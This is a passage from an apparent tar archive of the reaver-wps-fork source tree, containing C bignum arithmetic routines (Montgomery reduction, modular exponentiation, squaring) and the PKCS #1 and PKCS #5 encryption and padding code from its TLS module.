(ix = 0; ix < pa+1; ix++) { /* now extract the previous digit [below the carry] */ *tmpc++ = W[ix]; } /* clear unused digits [that existed in the old copy of c] */ for (; ix < olduse; ix++) { *tmpc++ = 0; } } mp_clamp (c); return MP_OKAY; } /* init an mp_init for a given size */ static int mp_init_size (mp_int * a, int size) { int x; /* pad size so there are always extra digits */ size += (MP_PREC * 2) - (size % MP_PREC); /* alloc mem */ a->dp = OPT_CAST(mp_digit) XMALLOC (sizeof (mp_digit) * size); if (a->dp == NULL) { return MP_MEM; } /* set the members */ a->used = 0; a->alloc = size; a->sign = MP_ZPOS; /* zero the digits */ for (x = 0; x < size; x++) { a->dp[x] = 0; } return MP_OKAY; } /* low level squaring, b = a*a, HAC pp.596-597, Algorithm 14.16 */ static int s_mp_sqr (mp_int * a, mp_int * b) { mp_int t; int res, ix, iy, pa; mp_word r; mp_digit u, tmpx, *tmpt; pa = a->used; if ((res = mp_init_size (&t, 2*pa + 1)) != MP_OKAY) { return res; } /* default used is maximum possible size */ t.used = 2*pa + 1; for (ix = 0; ix < pa; ix++) { /* first calculate the digit at 2*ix */ /* calculate double precision result */ r = ((mp_word) t.dp[2*ix]) + ((mp_word)a->dp[ix])*((mp_word)a->dp[ix]); /* store lower part in result */ t.dp[ix+ix] = (mp_digit) (r & ((mp_word) MP_MASK)); /* get the carry */ u = (mp_digit)(r >> ((mp_word) DIGIT_BIT)); /* left hand side of A[ix] * A[iy] */ tmpx = a->dp[ix]; /* alias for where to store the results */ tmpt = t.dp + (2*ix + 1); for (iy = ix + 1; iy < pa; iy++) { /* first calculate the product */ r = ((mp_word)tmpx) * ((mp_word)a->dp[iy]); /* now calculate the double precision result, note we use * addition instead of *2 since it's easier to optimize */ r = ((mp_word) *tmpt) + r + r + ((mp_word) u); /* store lower part */ *tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK)); /* get carry */ u = (mp_digit)(r >> ((mp_word) DIGIT_BIT)); } /* propagate upwards */ while (u != ((mp_digit) 0)) { r = ((mp_word) *tmpt) + ((mp_word) u); *tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK)); u = (mp_digit)(r >> ((mp_word) DIGIT_BIT)); } } mp_clamp (&t); mp_exch (&t, b); mp_clear (&t); return MP_OKAY; } /* multiplies |a| * |b| and does not compute the lower digs digits * [meant to get the higher part of the product] */ static int s_mp_mul_high_digs (mp_int * a, mp_int * b, mp_int * c, int digs) { mp_int t; int res, pa, pb, ix, iy; mp_digit u; mp_word r; mp_digit tmpx, *tmpt, *tmpy; /* can we use the fast multiplier? */ #ifdef BN_FAST_S_MP_MUL_HIGH_DIGS_C if (((a->used + b->used + 1) < MP_WARRAY) && MIN (a->used, b->used) < (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) { return fast_s_mp_mul_high_digs (a, b, c, digs); } #endif if ((res = mp_init_size (&t, a->used + b->used + 1)) != MP_OKAY) { return res; } t.used = a->used + b->used + 1; pa = a->used; pb = b->used; for (ix = 0; ix < pa; ix++) { /* clear the carry */ u = 0; /* left hand side of A[ix] * B[iy] */ tmpx = a->dp[ix]; /* alias to the address of where the digits will be stored */ tmpt = &(t.dp[digs]); /* alias for where to read the right hand side from */ tmpy = b->dp + (digs - ix); for (iy = digs - ix; iy < pb; iy++) { /* calculate the double precision result */ r = ((mp_word)*tmpt) + ((mp_word)tmpx) * ((mp_word)*tmpy++) + ((mp_word) u); /* get the lower part */ *tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK)); /* carry the carry */ u = (mp_digit) (r >> ((mp_word) DIGIT_BIT)); } *tmpt = u; } mp_clamp (&t); mp_exch (&t, c); mp_clear (&t); return MP_OKAY; } #ifdef BN_MP_MONTGOMERY_SETUP_C /* setups the montgomery reduction stuff */ static int mp_montgomery_setup (mp_int * n, mp_digit * rho) { mp_digit x, b; /* fast inversion mod 2**k * * Based on the fact that * * XA = 1 (mod 2**n) => (X(2-XA)) A = 1 (mod 2**2n) * => 2*X*A - X*X*A*A = 1 * => 2*(1) - (1) = 1 */ b = n->dp[0]; if ((b & 1) == 0) { return MP_VAL; } x = (((b + 2) & 4) << 1) + b; /* here x*a==1 mod 2**4 */ x *= 2 - b * x; /* here x*a==1 mod 2**8 */ #if !defined(MP_8BIT) x *= 2 - b * x; /* here x*a==1 mod 2**16 */ #endif #if defined(MP_64BIT) || !(defined(MP_8BIT) || defined(MP_16BIT)) x *= 2 - b * x; /* here x*a==1 mod 2**32 */ #endif #ifdef MP_64BIT x *= 2 - b * x; /* here x*a==1 mod 2**64 */ #endif /* rho = -1/m mod b */ *rho = (unsigned long)(((mp_word)1 << ((mp_word) DIGIT_BIT)) - x) & MP_MASK; return MP_OKAY; } #endif #ifdef BN_FAST_MP_MONTGOMERY_REDUCE_C /* computes xR**-1 == x (mod N) via Montgomery Reduction * * This is an optimized implementation of montgomery_reduce * which uses the comba method to quickly calculate the columns of the * reduction. * * Based on Algorithm 14.32 on pp.601 of HAC. */ int fast_mp_montgomery_reduce (mp_int * x, mp_int * n, mp_digit rho) { int ix, res, olduse; mp_word W[MP_WARRAY]; /* get old used count */ olduse = x->used; /* grow a as required */ if (x->alloc < n->used + 1) { if ((res = mp_grow (x, n->used + 1)) != MP_OKAY) { return res; } } /* first we have to get the digits of the input into * an array of double precision words W[...] */ { register mp_word *_W; register mp_digit *tmpx; /* alias for the W[] array */ _W = W; /* alias for the digits of x*/ tmpx = x->dp; /* copy the digits of a into W[0..a->used-1] */ for (ix = 0; ix < x->used; ix++) { *_W++ = *tmpx++; } /* zero the high words of W[a->used..m->used*2] */ for (; ix < n->used * 2 + 1; ix++) { *_W++ = 0; } } /* now we proceed to zero successive digits * from the least significant upwards */ for (ix = 0; ix < n->used; ix++) { /* mu = ai * m' mod b * * We avoid a double precision multiplication (which isn't required) * by casting the value down to a mp_digit. Note this requires * that W[ix-1] have the carry cleared (see after the inner loop) */ register mp_digit mu; mu = (mp_digit) (((W[ix] & MP_MASK) * rho) & MP_MASK); /* a = a + mu * m * b**i * * This is computed in place and on the fly. The multiplication * by b**i is handled by offseting which columns the results * are added to. * * Note the comba method normally doesn't handle carries in the * inner loop In this case we fix the carry from the previous * column since the Montgomery reduction requires digits of the * result (so far) [see above] to work. This is * handled by fixing up one carry after the inner loop. The * carry fixups are done in order so after these loops the * first m->used words of W[] have the carries fixed */ { register int iy; register mp_digit *tmpn; register mp_word *_W; /* alias for the digits of the modulus */ tmpn = n->dp; /* Alias for the columns set by an offset of ix */ _W = W + ix; /* inner loop */ for (iy = 0; iy < n->used; iy++) { *_W++ += ((mp_word)mu) * ((mp_word)*tmpn++); } } /* now fix carry for next digit, W[ix+1] */ W[ix + 1] += W[ix] >> ((mp_word) DIGIT_BIT); } /* now we have to propagate the carries and * shift the words downward [all those least * significant digits we zeroed]. */ { register mp_digit *tmpx; register mp_word *_W, *_W1; /* nox fix rest of carries */ /* alias for current word */ _W1 = W + ix; /* alias for next word, where the carry goes */ _W = W + ++ix; for (; ix <= n->used * 2 + 1; ix++) { *_W++ += *_W1++ >> ((mp_word) DIGIT_BIT); } /* copy out, A = A/b**n * * The result is A/b**n but instead of converting from an * array of mp_word to mp_digit than calling mp_rshd * we just copy them in the right order */ /* alias for destination word */ tmpx = x->dp; /* alias for shifted double precision result */ _W = W + n->used; for (ix = 0; ix < n->used + 1; ix++) { *tmpx++ = (mp_digit)(*_W++ & ((mp_word) MP_MASK)); } /* zero oldused digits, if the input a was larger than * m->used+1 we'll have to clear the digits */ for (; ix < olduse; ix++) { *tmpx++ = 0; } } /* set the max used and clamp */ x->used = n->used + 1; mp_clamp (x); /* if A >= m then A = A - m */ if (mp_cmp_mag (x, n) != MP_LT) { return s_mp_sub (x, n, x); } return MP_OKAY; } #endif #ifdef BN_MP_MUL_2_C /* b = a*2 */ static int mp_mul_2(mp_int * a, mp_int * b) { int x, res, oldused; /* grow to accomodate result */ if (b->alloc < a->used + 1) { if ((res = mp_grow (b, a->used + 1)) != MP_OKAY) { return res; } } oldused = b->used; b->used = a->used; { register mp_digit r, rr, *tmpa, *tmpb; /* alias for source */ tmpa = a->dp; /* alias for dest */ tmpb = b->dp; /* carry */ r = 0; for (x = 0; x < a->used; x++) { /* get what will be the *next* carry bit from the * MSB of the current digit */ rr = *tmpa >> ((mp_digit)(DIGIT_BIT - 1)); /* now shift up this digit, add in the carry [from the previous] */ *tmpb++ = ((*tmpa++ << ((mp_digit)1)) | r) & MP_MASK; /* copy the carry that would be from the source * digit into the next iteration */ r = rr; } /* new leading digit? */ if (r != 0) { /* add a MSB which is always 1 at this point */ *tmpb = 1; ++(b->used); } /* now zero any excess digits on the destination * that we didn't write to */ tmpb = b->dp + b->used; for (x = b->used; x < oldused; x++) { *tmpb++ = 0; } } b->sign = a->sign; return MP_OKAY; } #endif #ifdef BN_MP_MONTGOMERY_CALC_NORMALIZATION_C /* * shifts with subtractions when the result is greater than b. * * The method is slightly modified to shift B unconditionally upto just under * the leading bit of b. This saves alot of multiple precision shifting. */ static int mp_montgomery_calc_normalization (mp_int * a, mp_int * b) { int x, bits, res; /* how many bits of last digit does b use */ bits = mp_count_bits (b) % DIGIT_BIT; if (b->used > 1) { if ((res = mp_2expt (a, (b->used - 1) * DIGIT_BIT + bits - 1)) != MP_OKAY) { return res; } } else { mp_set(a, 1); bits = 1; } /* now compute C = A * B mod b */ for (x = bits - 1; x < (int)DIGIT_BIT; x++) { if ((res = mp_mul_2 (a, a)) != MP_OKAY) { return res; } if (mp_cmp_mag (a, b) != MP_LT) { if ((res = s_mp_sub (a, b, a)) != MP_OKAY) { return res; } } } return MP_OKAY; } #endif #ifdef BN_MP_EXPTMOD_FAST_C /* computes Y == G**X mod P, HAC pp.616, Algorithm 14.85 * * Uses a left-to-right k-ary sliding window to compute the modular exponentiation. * The value of k changes based on the size of the exponent. * * Uses Montgomery or Diminished Radix reduction [whichever appropriate] */ static int mp_exptmod_fast (mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode) { mp_int M[TAB_SIZE], res; mp_digit buf, mp; int err, bitbuf, bitcpy, bitcnt, mode, digidx, x, y, winsize; /* use a pointer to the reduction algorithm. This allows us to use * one of many reduction algorithms without modding the guts of * the code with if statements everywhere. */ int (*redux)(mp_int*,mp_int*,mp_digit); /* find window size */ x = mp_count_bits (X); if (x <= 7) { winsize = 2; } else if (x <= 36) { winsize = 3; } else if (x <= 140) { winsize = 4; } else if (x <= 450) { winsize = 5; } else if (x <= 1303) { winsize = 6; } else if (x <= 3529) { winsize = 7; } else { winsize = 8; } #ifdef MP_LOW_MEM if (winsize > 5) { winsize = 5; } #endif /* init M array */ /* init first cell */ if ((err = mp_init(&M[1])) != MP_OKAY) { return err; } /* now init the second half of the array */ for (x = 1<<(winsize-1); x < (1 << winsize); x++) { if ((err = mp_init(&M[x])) != MP_OKAY) { for (y = 1<<(winsize-1); y < x; y++) { mp_clear (&M[y]); } mp_clear(&M[1]); return err; } } /* determine and setup reduction code */ if (redmode == 0) { #ifdef BN_MP_MONTGOMERY_SETUP_C /* now setup montgomery */ if ((err = mp_montgomery_setup (P, &mp)) != MP_OKAY) { goto LBL_M; } #else err = MP_VAL; goto LBL_M; #endif /* automatically pick the comba one if available (saves quite a few calls/ifs) */ #ifdef BN_FAST_MP_MONTGOMERY_REDUCE_C if (((P->used * 2 + 1) < MP_WARRAY) && P->used < (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) { redux = fast_mp_montgomery_reduce; } else #endif { #ifdef BN_MP_MONTGOMERY_REDUCE_C /* use slower baseline Montgomery method */ redux = mp_montgomery_reduce; #else err = MP_VAL; goto LBL_M; #endif } } else if (redmode == 1) { #if defined(BN_MP_DR_SETUP_C) && defined(BN_MP_DR_REDUCE_C) /* setup DR reduction for moduli of the form B**k - b */ mp_dr_setup(P, &mp); redux = mp_dr_reduce; #else err = MP_VAL; goto LBL_M; #endif } else { #if defined(BN_MP_REDUCE_2K_SETUP_C) && defined(BN_MP_REDUCE_2K_C) /* setup DR reduction for moduli of the form 2**k - b */ if ((err = mp_reduce_2k_setup(P, &mp)) != MP_OKAY) { goto LBL_M; } redux = mp_reduce_2k; #else err = MP_VAL; goto LBL_M; #endif } /* setup result */ if ((err = mp_init (&res)) != MP_OKAY) { goto LBL_M; } /* create M table * * * The first half of the table is not computed though accept for M[0] and M[1] */ if (redmode == 0) { #ifdef BN_MP_MONTGOMERY_CALC_NORMALIZATION_C /* now we need R mod m */ if ((err = mp_montgomery_calc_normalization (&res, P)) != MP_OKAY) { goto LBL_RES; } #else err = MP_VAL; goto LBL_RES; #endif /* now set M[1] to G * R mod m */ if ((err = mp_mulmod (G, &res, P, &M[1])) != MP_OKAY) { goto LBL_RES; } } else { mp_set(&res, 1); if ((err = mp_mod(G, P, &M[1])) != MP_OKAY) { goto LBL_RES; } } /* compute the value at M[1<<(winsize-1)] by squaring M[1] (winsize-1) times */ if ((err = mp_copy (&M[1], &M[1 << (winsize - 1)])) != MP_OKAY) { goto LBL_RES; } for (x = 0; x < (winsize - 1); x++) { if ((err = mp_sqr (&M[1 << (winsize - 1)], &M[1 << (winsize - 1)])) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&M[1 << (winsize - 1)], P, mp)) != MP_OKAY) { goto LBL_RES; } } /* create upper table */ for (x = (1 << (winsize - 1)) + 1; x < (1 << winsize); x++) { if ((err = mp_mul (&M[x - 1], &M[1], &M[x])) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&M[x], P, mp)) != MP_OKAY) { goto LBL_RES; } } /* set initial mode and bit cnt */ mode = 0; bitcnt = 1; buf = 0; digidx = X->used - 1; bitcpy = 0; bitbuf = 0; for (;;) { /* grab next digit as required */ if (--bitcnt == 0) { /* if digidx == -1 we are out of digits so break */ if (digidx == -1) { break; } /* read next digit and reset bitcnt */ buf = X->dp[digidx--]; bitcnt = (int)DIGIT_BIT; } /* grab the next msb from the exponent */ y = (mp_digit)(buf >> (DIGIT_BIT - 1)) & 1; buf <<= (mp_digit)1; /* if the bit is zero and mode == 0 then we ignore it * These represent the leading zero bits before the first 1 bit * in the exponent. Technically this opt is not required but it * does lower the # of trivial squaring/reductions used */ if (mode == 0 && y == 0) { continue; } /* if the bit is zero and mode == 1 then we square */ if (mode == 1 && y == 0) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, mp)) != MP_OKAY) { goto LBL_RES; } continue; } /* else we add it to the window */ bitbuf |= (y << (winsize - ++bitcpy)); mode = 2; if (bitcpy == winsize) { /* ok window is filled so square as required and multiply */ /* square first */ for (x = 0; x < winsize; x++) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, mp)) != MP_OKAY) { goto LBL_RES; } } /* then multiply */ if ((err = mp_mul (&res, &M[bitbuf], &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, mp)) != MP_OKAY) { goto LBL_RES; } /* empty window and reset */ bitcpy = 0; bitbuf = 0; mode = 1; } } /* if bits remain then square/multiply */ if (mode == 2 && bitcpy > 0) { /* square then multiply if the bit is set */ for (x = 0; x < bitcpy; x++) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, mp)) != MP_OKAY) { goto LBL_RES; } /* get next bit of the window */ bitbuf <<= 1; if ((bitbuf & (1 << winsize)) != 0) { /* then multiply */ if ((err = mp_mul (&res, &M[1], &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, mp)) != MP_OKAY) { goto LBL_RES; } } } } if (redmode == 0) { /* fixup result if Montgomery reduction is used * recall that any value in a Montgomery system is * actually multiplied by R mod n. So we have * to reduce one more time to cancel out the factor * of R. */ if ((err = redux(&res, P, mp)) != MP_OKAY) { goto LBL_RES; } } /* swap res with Y */ mp_exch (&res, Y); err = MP_OKAY; LBL_RES:mp_clear (&res); LBL_M: mp_clear(&M[1]); for (x = 1<<(winsize-1); x < (1 << winsize); x++) { mp_clear (&M[x]); } return err; } #endif #ifdef BN_FAST_S_MP_SQR_C /* the jist of squaring... * you do like mult except the offset of the tmpx [one that * starts closer to zero] can't equal the offset of tmpy. * So basically you set up iy like before then you min it with * (ty-tx) so that it never happens. You double all those * you add in the inner loop After that loop you do the squares and add them in. */ static int fast_s_mp_sqr (mp_int * a, mp_int * b) { int olduse, res, pa, ix, iz; mp_digit W[MP_WARRAY], *tmpx; mp_word W1; /* grow the destination as required */ pa = a->used + a->used; if (b->alloc < pa) { if ((res = mp_grow (b, pa)) != MP_OKAY) { return res; } } /* number of output digits to produce */ W1 = 0; for (ix = 0; ix < pa; ix++) { int tx, ty, iy; mp_word _W; mp_digit *tmpy; /* clear counter */ _W = 0; /* get offsets into the two bignums */ ty = MIN(a->used-1, ix); tx = ix - ty; /* setup temp aliases */ tmpx = a->dp + tx; tmpy = a->dp + ty; /* this is the number of times the loop will iterrate, essentially while (tx++ < a->used && ty-- >= 0) { ... } */ iy = MIN(a->used-tx, ty+1); /* now for squaring tx can never equal ty * we halve the distance since they approach at a rate of 2x * and we have to round because odd cases need to be executed */ iy = MIN(iy, (ty-tx+1)>>1); /* execute loop */ for (iz = 0; iz < iy; iz++) { _W += ((mp_word)*tmpx++)*((mp_word)*tmpy--); } /* double the inner product and add carry */ _W = _W + _W + W1; /* even columns have the square term in them */ if ((ix&1) == 0) { _W += ((mp_word)a->dp[ix>>1])*((mp_word)a->dp[ix>>1]); } /* store it */ W[ix] = (mp_digit)(_W & MP_MASK); /* make next carry */ W1 = _W >> ((mp_word)DIGIT_BIT); } /* setup dest */ olduse = b->used; b->used = a->used+a->used; { mp_digit *tmpb; tmpb = b->dp; for (ix = 0; ix < pa; ix++) { *tmpb++ = W[ix] & MP_MASK; } /* clear unused digits [that existed in the old copy of c] */ for (; ix < olduse; ix++) { *tmpb++ = 0; } } mp_clamp (b); return MP_OKAY; } #endif #ifdef BN_MP_MUL_D_C /* multiply by a digit */ static int mp_mul_d (mp_int * a, mp_digit b, mp_int * c) { mp_digit u, *tmpa, *tmpc; mp_word r; int ix, res, olduse; /* make sure c is big enough to hold a*b */ if (c->alloc < a->used + 1) { if ((res = mp_grow (c, a->used + 1)) != MP_OKAY) { return res; } } /* get the original destinations used count */ olduse = c->used; /* set the sign */ c->sign = a->sign; /* alias for a->dp [source] */ tmpa = a->dp; /* alias for c->dp [dest] */ tmpc = c->dp; /* zero carry */ u = 0; /* compute columns */ for (ix = 0; ix < a->used; ix++) { /* compute product and carry sum for this term */ r = ((mp_word) u) + ((mp_word)*tmpa++) * ((mp_word)b); /* mask off higher bits to get a single digit */ *tmpc++ = (mp_digit) (r & ((mp_word) MP_MASK)); /* send carry into next iteration */ u = (mp_digit) (r >> ((mp_word) DIGIT_BIT)); } /* store final carry [if any] and increment ix offset */ *tmpc++ = u; ++ix; /* now zero digits above the top */ while (ix++ < olduse) { *tmpc++ = 0; } /* set used count */ c->used = a->used + 1; mp_clamp(c); return MP_OKAY; } #endif reaver-wps-fork-t6x-1.6.6/src/tls/pkcs1.c000077500000000000000000000105731363372615500200770ustar00rootroot00000000000000/* * PKCS #1 (RSA Encryption) * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "rsa.h" #include "pkcs1.h" static int pkcs1_generate_encryption_block(u8 block_type, size_t modlen, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { size_t ps_len; u8 *pos; /* * PKCS #1 v1.5, 8.1: * * EB = 00 || BT || PS || 00 || D * BT = 00 or 01 for private-key operation; 02 for public-key operation * PS = k-3-||D||; at least eight octets * (BT=0: PS=0x00, BT=1: PS=0xff, BT=2: PS=pseudorandom non-zero) * k = length of modulus in octets (modlen) */ if (modlen < 12 || modlen > *outlen || inlen > modlen - 11) { wpa_printf(MSG_DEBUG, "PKCS #1: %s - Invalid buffer " "lengths (modlen=%lu outlen=%lu inlen=%lu)", __func__, (unsigned long) modlen, (unsigned long) *outlen, (unsigned long) inlen); return -1; } pos = out; *pos++ = 0x00; *pos++ = block_type; /* BT */ ps_len = modlen - inlen - 3; switch (block_type) { case 0: os_memset(pos, 0x00, ps_len); pos += ps_len; break; case 1: os_memset(pos, 0xff, ps_len); pos += ps_len; break; case 2: if (os_get_random(pos, ps_len) < 0) { wpa_printf(MSG_DEBUG, "PKCS #1: %s - Failed to get " "random data for PS", __func__); return -1; } while (ps_len--) { if (*pos == 0x00) *pos = 0x01; pos++; } break; default: wpa_printf(MSG_DEBUG, "PKCS #1: %s - Unsupported block type " "%d", __func__, block_type); return -1; } *pos++ = 0x00; os_memcpy(pos, in, inlen); /* D */ return 0; } int pkcs1_encrypt(int block_type, struct crypto_rsa_key *key, int use_private, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { size_t modlen; modlen = crypto_rsa_get_modulus_len(key); if (pkcs1_generate_encryption_block(block_type, modlen, in, inlen, out, outlen) < 0) return -1; return crypto_rsa_exptmod(out, modlen, out, outlen, key, use_private); } int pkcs1_v15_private_key_decrypt(struct crypto_rsa_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { int res; u8 *pos, *end; res = crypto_rsa_exptmod(in, inlen, out, outlen, key, 1); if (res) return res; if (*outlen < 2 || out[0] != 0 || out[1] != 2) return -1; /* Skip PS (pseudorandom non-zero octets) */ pos = out + 2; end = out + *outlen; while (*pos && pos < end) pos++; if (pos == end) return -1; pos++; *outlen -= pos - out; /* Strip PKCS #1 header */ os_memmove(out, pos, *outlen); return 0; } int pkcs1_decrypt_public_key(struct crypto_rsa_key *key, const u8 *crypt, size_t crypt_len, u8 *plain, size_t *plain_len) { size_t len; u8 *pos; len = *plain_len; if (crypto_rsa_exptmod(crypt, crypt_len, plain, &len, key, 0) < 0) return -1; /* * PKCS #1 v1.5, 8.1: * * EB = 00 || BT || PS || 00 || D * BT = 00 or 01 * PS = k-3-||D|| times (00 if BT=00) or (FF if BT=01) * k = length of modulus in octets */ if (len < 3 + 8 + 16 /* min hash len */ || plain[0] != 0x00 || (plain[1] != 0x00 && plain[1] != 0x01)) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB " "structure"); return -1; } pos = plain + 3; if (plain[1] == 0x00) { /* BT = 00 */ if (plain[2] != 0x00) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature " "PS (BT=00)"); return -1; } while (pos + 1 < plain + len && *pos == 0x00 && pos[1] == 0x00) pos++; } else { /* BT = 01 */ if (plain[2] != 0xff) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature " "PS (BT=01)"); return -1; } while (pos < plain + len && *pos == 0xff) pos++; } if (pos - plain - 2 < 8) { /* PKCS #1 v1.5, 8.1: At least eight octets long PS */ wpa_printf(MSG_INFO, "LibTomCrypt: Too short signature " "padding"); return -1; } if (pos + 16 /* min hash len */ >= plain + len || *pos != 0x00) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB " "structure (2)"); return -1; } pos++; len -= pos - plain; /* Strip PKCS #1 header */ os_memmove(plain, pos, len); *plain_len = len; return 0; } reaver-wps-fork-t6x-1.6.6/src/tls/pkcs1.h000077500000000000000000000015551363372615500201040ustar00rootroot00000000000000/* * PKCS #1 (RSA Encryption) * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef PKCS1_H #define PKCS1_H int pkcs1_encrypt(int block_type, struct crypto_rsa_key *key, int use_private, const u8 *in, size_t inlen, u8 *out, size_t *outlen); int pkcs1_v15_private_key_decrypt(struct crypto_rsa_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen); int pkcs1_decrypt_public_key(struct crypto_rsa_key *key, const u8 *crypt, size_t crypt_len, u8 *plain, size_t *plain_len); #endif /* PKCS1_H */ reaver-wps-fork-t6x-1.6.6/src/tls/pkcs5.c000077500000000000000000000140301363372615500200730ustar00rootroot00000000000000/* * PKCS #5 (Password-based Encryption) * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/crypto.h" #include "crypto/md5.h" #include "asn1.h" #include "pkcs5.h" struct pkcs5_params { enum pkcs5_alg { PKCS5_ALG_UNKNOWN, PKCS5_ALG_MD5_DES_CBC } alg; u8 salt[8]; size_t salt_len; unsigned int iter_count; }; enum pkcs5_alg pkcs5_get_alg(struct asn1_oid *oid) { if (oid->len == 7 && oid->oid[0] == 1 /* iso */ && oid->oid[1] == 2 /* member-body */ && oid->oid[2] == 840 /* us */ && oid->oid[3] == 113549 /* rsadsi */ && oid->oid[4] == 1 /* pkcs */ && oid->oid[5] == 5 /* pkcs-5 */ && oid->oid[6] == 3 /* pbeWithMD5AndDES-CBC */) return PKCS5_ALG_MD5_DES_CBC; return PKCS5_ALG_UNKNOWN; } static int pkcs5_get_params(const u8 *enc_alg, size_t enc_alg_len, struct pkcs5_params *params) { struct asn1_hdr hdr; const u8 *enc_alg_end, *pos, *end; struct asn1_oid oid; char obuf[80]; /* AlgorithmIdentifier */ enc_alg_end = enc_alg + enc_alg_len; os_memset(params, 0, sizeof(*params)); if (asn1_get_oid(enc_alg, enc_alg_end - enc_alg, &oid, &pos)) { wpa_printf(MSG_DEBUG, "PKCS #5: Failed to parse OID " "(algorithm)"); return -1; } asn1_oid_to_str(&oid, obuf, sizeof(obuf)); wpa_printf(MSG_DEBUG, "PKCS #5: encryption algorithm %s", obuf); params->alg = pkcs5_get_alg(&oid); if (params->alg == PKCS5_ALG_UNKNOWN) { wpa_printf(MSG_INFO, "PKCS #5: unsupported encryption " "algorithm %s", obuf); return -1; } /* * PKCS#5, Section 8 * PBEParameter ::= SEQUENCE { * salt OCTET STRING SIZE(8), * iterationCount INTEGER } */ if (asn1_get_next(pos, enc_alg_end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "PKCS #5: Expected SEQUENCE " "(PBEParameter) - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; end = hdr.payload + hdr.length; /* salt OCTET STRING SIZE(8) */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OCTETSTRING || hdr.length != 8) { wpa_printf(MSG_DEBUG, "PKCS #5: Expected OCTETSTRING SIZE(8) " "(salt) - found class %d tag 0x%x size %d", hdr.class, hdr.tag, hdr.length); return -1; } pos = hdr.payload + hdr.length; os_memcpy(params->salt, hdr.payload, hdr.length); params->salt_len = hdr.length; wpa_hexdump(MSG_DEBUG, "PKCS #5: salt", params->salt, params->salt_len); /* iterationCount INTEGER */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "PKCS #5: Expected INTEGER - found " "class %d tag 0x%x", hdr.class, hdr.tag); return -1; } if (hdr.length == 1) params->iter_count = *hdr.payload; else if (hdr.length == 2) params->iter_count = WPA_GET_BE16(hdr.payload); else if (hdr.length == 4) params->iter_count = WPA_GET_BE32(hdr.payload); else { wpa_hexdump(MSG_DEBUG, "PKCS #5: Unsupported INTEGER value " " (iterationCount)", hdr.payload, hdr.length); return -1; } wpa_printf(MSG_DEBUG, "PKCS #5: iterationCount=0x%x", params->iter_count); if (params->iter_count == 0 || params->iter_count > 0xffff) { wpa_printf(MSG_INFO, "PKCS #5: Unsupported " "iterationCount=0x%x", params->iter_count); return -1; } return 0; } static struct crypto_cipher * pkcs5_crypto_init(struct pkcs5_params *params, const char *passwd) { unsigned int i; u8 hash[MD5_MAC_LEN]; const u8 *addr[2]; size_t len[2]; if (params->alg != PKCS5_ALG_MD5_DES_CBC) return NULL; addr[0] = (const u8 *) passwd; len[0] = os_strlen(passwd); addr[1] = params->salt; len[1] = params->salt_len; if (md5_vector(2, addr, len, hash) < 0) return NULL; addr[0] = hash; len[0] = MD5_MAC_LEN; for (i = 1; i < params->iter_count; i++) { if (md5_vector(1, addr, len, hash) < 0) return NULL; } /* TODO: DES key parity bits(?) */ wpa_hexdump_key(MSG_DEBUG, "PKCS #5: DES key", hash, 8); wpa_hexdump_key(MSG_DEBUG, "PKCS #5: DES IV", hash + 8, 8); return crypto_cipher_init(CRYPTO_CIPHER_ALG_DES, hash + 8, hash, 8); } u8 * pkcs5_decrypt(const u8 *enc_alg, size_t enc_alg_len, const u8 *enc_data, size_t enc_data_len, const char *passwd, size_t *data_len) { struct crypto_cipher *ctx; u8 *eb, pad; struct pkcs5_params params; unsigned int i; if (pkcs5_get_params(enc_alg, enc_alg_len, ¶ms) < 0) { wpa_printf(MSG_DEBUG, "PKCS #5: Unsupported parameters"); return NULL; } ctx = pkcs5_crypto_init(¶ms, passwd); if (ctx == NULL) { wpa_printf(MSG_DEBUG, "PKCS #5: Failed to initialize crypto"); return NULL; } /* PKCS #5, Section 7 - Decryption process */ if (enc_data_len < 16 || enc_data_len % 8) { wpa_printf(MSG_INFO, "PKCS #5: invalid length of ciphertext " "%d", (int) enc_data_len); crypto_cipher_deinit(ctx); return NULL; } eb = os_malloc(enc_data_len); if (eb == NULL) { 